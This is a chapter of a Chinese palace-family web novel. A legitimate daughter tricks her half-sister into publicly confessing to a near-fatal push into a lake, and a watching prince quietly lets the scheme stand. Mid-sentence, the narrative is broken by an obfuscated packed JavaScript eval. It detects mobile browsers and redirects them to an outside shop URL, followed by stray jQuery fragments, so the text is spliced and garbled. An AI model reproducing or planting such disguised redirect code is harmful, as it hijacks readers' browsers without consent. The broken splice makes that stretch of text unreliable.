两姐妹在桥上站着,黎若芙没说话,只慢慢走到桥栏边,背对着黎思婷。
黎思婷饮了酒,又被方才宴席上黎若芙当众回嘴气得发昏,跟上来冷笑:“姐姐今日倒是长本事了,敢在母亲面前给我难堪。怎么,落了一次水,脑子也浸坏了不成?”
预想中黎若芙唯唯诺诺低声道歉的声音并没有传来,她声线平稳,语调很轻,像是在对她说,又像是喃喃自语:“是啊,落了一次水,差点死了,有些事倒是想明白了。”
黎思婷没听清,不耐烦道:“你少在这里装神弄鬼,有话快说,我还要回去敬酒。”
黎若芙终于转身,天光下,她手里多了一样东西,用帕子托着,是一颗珍珠。她举到庶妹眼前,平静得不像平时的她。
“妹妹认得这个吗?”
黎思婷一眼认出那是自己珍珠衫上的珠子,脸色骤变,酒醒了一半,嘴上还硬:“一颗破珠子,我怎会认得?”
黎若芙看着她,明明一张脸温柔和顺毫无攻击性,语气却没有半点退让,“这是南珠。府里只有你那件蝶穿牡丹珍珠衫上缝过这种珠子。我数过,前襟和肩头共三十六颗,如今少了一颗。妹妹若不信,现在就去请母亲开箱验一验。”
黎思婷慌了,伸手要抢,“你敢!”
黎若芙一收手,退后一步,声音微微提高,“我为什么不敢?那日你推我下湖,我忍了。你对外说是我自己失足,我也忍了。可你连一颗珠子都懒得找,真以为自己做得天衣无缝了?”
黎思婷从没见过黎若芙这样说话,又惊又怒,加上酒意,脑子一热,上前一把抓住她的手腕,厉声道:“是我推你又怎样!你一个懦弱无能的病秧子,也配占着嫡长女的名头?那天我就该让你死在湖里,省得今日来讨债!”
话一出口,黎思婷自己还没回过神来,黎若芙却已听见远处传来杂乱的脚步声。黎若芙远远听着动静,心跳得有些快。她赌对了。
她猛地抽回手,后退两步,声音带上哭腔,像怕极了:“你说什么?那日你明明对父亲母亲说,是我自己失足跌下去的……”
黎思婷见她忽然又变回那副可怜样,心里得意,又补一刀,“对,我骗她们的。我趁你看鱼时从后面推了你,还让我的婢女作证说你脚滑。你便是现在去说,也没人会信你!”
最后一句刚落,桥头人影攒动。黎父、秦氏、几位大人和不少宾客已经站在岸边,秦迢春脸色煞白,黎远山铁青,贵客们面面相觑。
黎思婷反应过来自己是被黎若芙下套了,她又恼又怒,几乎快哭出来,一脸茫然无措看向秦氏,“不是……不是这样的。”
“母亲……父亲……”
黎思婷恶狠狠瞪向黎若芙,一双手气得发抖,指着黎若芙一字一句道:“是她!是她故意的!”
一众宾客有些唏嘘,黎思婷却仿佛看不见,神色慌张无度。
反观嫡小姐黎若芙,被庶妹觊觎嫡女之位,推入湖中险些丧命,醒来还要遭庶妹毒咒“怎么没死”。如今当众羞辱却泰然自若,没有半分黎思婷那等尖酸之态,婷婷而立宛如湖中仅剩的几株残荷。虽经风雨,犹然挺立。
风过荷塘,她的衣袂随之轻扬,看着赶来的父亲母亲,一句话未帮自己辩驳,只掩了掩薄红的眼眶。
黎远山身后传来一些宾客窸窸窣窣的议论声,他脸色难堪,快步走向前,“啪”的一巴掌狠狠扇在黎思婷脸上。
“你给我住嘴!”
这一下使了十足十的力,力道之大,黎思婷被打得瞬间跌坐在地上,她被这一下打懵了,疼痛让她来不及思考。黎思婷觉得委屈至极,也不顾在场还有许多人瞧着,坐在地上便嚎啕大哭起来。
黎远山气得胸口剧烈起伏,偏头看向身旁的夫人秦氏,“你平日是怎么教导她的?一点规矩都没有!”
“如今还设计自己的嫡姐落水?你是不是也知情?”
秦迢春面色僵白,看着女儿满脸泪水的模样,嗫嚅着想辩驳什么,却被黎远山瞪回去,一时间在外人看来好像承认了般怔怔站着。
黎远山还在数落黎思婷,“我看你《女诫》是读到狗肚子里去了?”
黎若芙在心底冷嘲,“自己找死,便怨不得旁人了。”
她面上不显,见局势差不多了,适时开口道:“父亲切莫再动气了,妹妹酿成如今的祸事,我这个做姐姐的也免不了责任。”
“今日失礼了,我代妹妹给诸位赔个不是,让你们看笑话了。”
众宾客对黎若芙笑了笑,很是同情她道:“黎大人的嫡女果真气度不凡,今日无意撞破你的家务事,倒是我们的不是。”
黎远山正在气头上,也没反应过来黎若芙与之前判若两人的语气,觉得她说的话颇为顺心,也缓了缓脾气。秦夫人在一旁也被他的阵仗吓到了,不动声色扯了扯黎远山的衣袖,想为女儿求情。
黎远山经秦迢春这一小动作提醒,牵动了他的一丝恻隐之心,毕竟黎思婷作为小女儿被她们从小宠到大,到底没吃过什么苦头。若放在府中,也不过是小事一桩并非不可原谅。
黎远山有所顾虑道:“还望诸位莫要计较,此事就不劳大家费心了,我府中自会处理好的。”
只是今时不同往日,来的不仅有他的同僚下属,更有任知州的顶头上司李吉,以及天子的亲弟弟宣王殿下。不过并未见到宣王荆誉衍的身影,他隐隐松了口气。若是让宣王看了笑话,那他们黎远山是真没脸继续坐通判使的位置了。
本以为此话一出众人便会识趣地离开,毕竟谁都不想贸然插手别人的家务事,而这个人还是通判。岂料这时,一直未见踪影的宣王荆誉衍从回廊缓步走来。
他嘴里叼着根不知从何处扯来的狗尾草,语气中满是戏谑“这里好生热闹啊。”
众人闻声向后看去,自觉地为荆誉衍让出条路来。荆誉衍也不推脱,径直走到事件中心,一身燕袍的沉碧色在阳光下仿佛活了过来,泛着幽深如宝石般的绿。
黎思婷哭累了似乎这才发觉自己的处境,趴坐在人群的正中央,起来也不是不起也不是,最后还是碍于颜面慢慢站起来。
黎若芙倒是神色淡淡并没有多少意外,她早料到荆誉衍也许会一起来看笑话,两人碰面是迟早的事,想躲也没用。
荆誉衍掀起眼皮扫一眼地上灰头土脸的黎思婷,又望向端正站着的黎若芙,忽然笑了。
他看向黎远山,懒洋洋道:“早就听闻滇州通判黎大人清正廉明,刚正不阿”,他顿了顿,声音越发不紧不慢,“想必……黎大人处理家事,也自有一套准则吧?”
荆誉衍一句话把黎远山架在半空,上不得,下不得。连宣王都发话了,别说其他人,黎远山自是不敢恭维,这下想保黎思婷也保不住了。他骑虎难下只得应道:“宣王谬赞,小女生出害人毒念,罔顾礼教,险些酿成血祸。是下官管教不严,这事必定不会轻易揭过。”
“黎大人的确明事理,大义灭亲本王佩服!”
黎远山嘴角微抽。
良久,他仿佛下定什么决心道:“自今日起,黎思婷便迁居西郊别院,终身幽禁,不得踏出院门半步”,顿了顿似是有些不忍,但碍于外力迫使,他缓缓闭上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863946|212135||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼别过头,不去看黎思婷哭红的双眼和夫人焦急的神色,“裁减份例,仆妇严加看管。”
黎思婷听着对她的宣判面如死灰,刚站起的身子又瘫倒在地,刚止住的眼泪又涌了出来。
几个婢子当即上前架住地上的黎思婷往外拖去。
黎思婷的贴身丫鬟猛地在黎远山面前跪下,不停地用头磕着青石板路。
“求老爷饶过小姐这一次吧!”
“求老爷开恩!”
她的头一下下重重磕在地上,没两下便泛出猩红的血,血水混着泥尘变得黏腻不堪。
秦迢春也宛如天打雷劈,顾不得什么颜面直直跪下,“老爷你不能这么狠心啊!那可是你的亲骨肉啊!”
“她要是去了一辈子就完了啊……”
黎远山闭了闭眼,额角青筋暴起,一把掀开了秦迢春拉着他衣摆的手,“谁再为她求情就跟她一起去!”
他何尝不想饶恕婷姐儿?婷姐儿可是他捧在手心长大的孩子……她们以为他心里就不痛吗?他不也是无可奈何吗?一个个都替黎思婷来求情,可谁管过他在这个处境上怎么下得来台?
一场闹剧以黎思婷被送入别院幽禁终生结束,众人都没把目光聚集在黎若芙身上,更不会有人怀疑她,仿佛她就是朵楚楚可人的娇花,既是娇花又怎么可能会这么狠毒地设计庶妹呢?
宴席至此,众人也没了兴致,纷纷告辞离去。
黎若芙独自走到花园东角的回廊下,扶栏站着,轻轻地笑了。
就在这时,身后传来脚步声。黎若芙回头,见荆誉衍从正厅中走出,似笑非笑。
黎若芙下意识后退一步,强作镇定:“殿下怎么还没回府?”
荆誉衍没答,只慢悠悠踱过来,打量她一眼,语气里带着点玩味:“黎姑娘今日真是伶牙俐齿,和传闻中貌似有点不一样啊。让在下大开眼界。”
“伶牙俐齿”四个字一出口,黎若芙心猛地一沉。她知道自己方才在桥上那番逼问,和素日里的“懦弱嫡女”判若两人。荆誉衍若不是亲耳听见,绝不会用这个词。
她脸色微变,指尖不自觉地捏紧了袖口,右手拇指浅浅摩挲了一下食指指腹。
“……殿下在说什么,我不明白。”
荆誉衍瞥了一眼她的手,低笑一声,走近一步:“黎姑娘在桥上问令妹‘我为什么不敢’的时候,可不是这个声音。”
黎若芙浑身一僵。他连这句话都听到了,那她如何拿出南珠、如何一句句逼庶妹认罪,他自然也全看见了。她设计庶妹时不曾怕,此刻却生出一种被人从暗处看得一清二楚的狼狈。
荆誉衍却不急着戳穿,只看着她,声音不高:“你这么聪明,应该明白我说的话吧?”
黎若芙沉默片刻,终于抬头,对上他的目光。荆誉衍一双眼睛生得极为好看,眼尾上挑,带了几分勾人之色,琥珀色的眸中此刻只有她一人。
“您既然都听见了,为何不当场拆穿我?”
荆誉衍一笑,不紧不慢道:“拆穿你?拆穿你什么?”
“我听见的,是二小姐亲口承认推你下湖。至于之前你们姐妹之间说了什么,在下只当没听见。”
黎若芙愣住。心里说不出是什么滋味,半晌才低声道:“多谢。”
荆誉衍点点头,转身欲走,又停住侧过头,他想起那句“福祸自担”欲言又止,最终什么也没问,只说:“黎姑娘和我的一位故人……很像。”
说完,他步入竹影,头也不回地走了。
黎若芙站在原地,晚风一吹,才发现自己手心全是汗。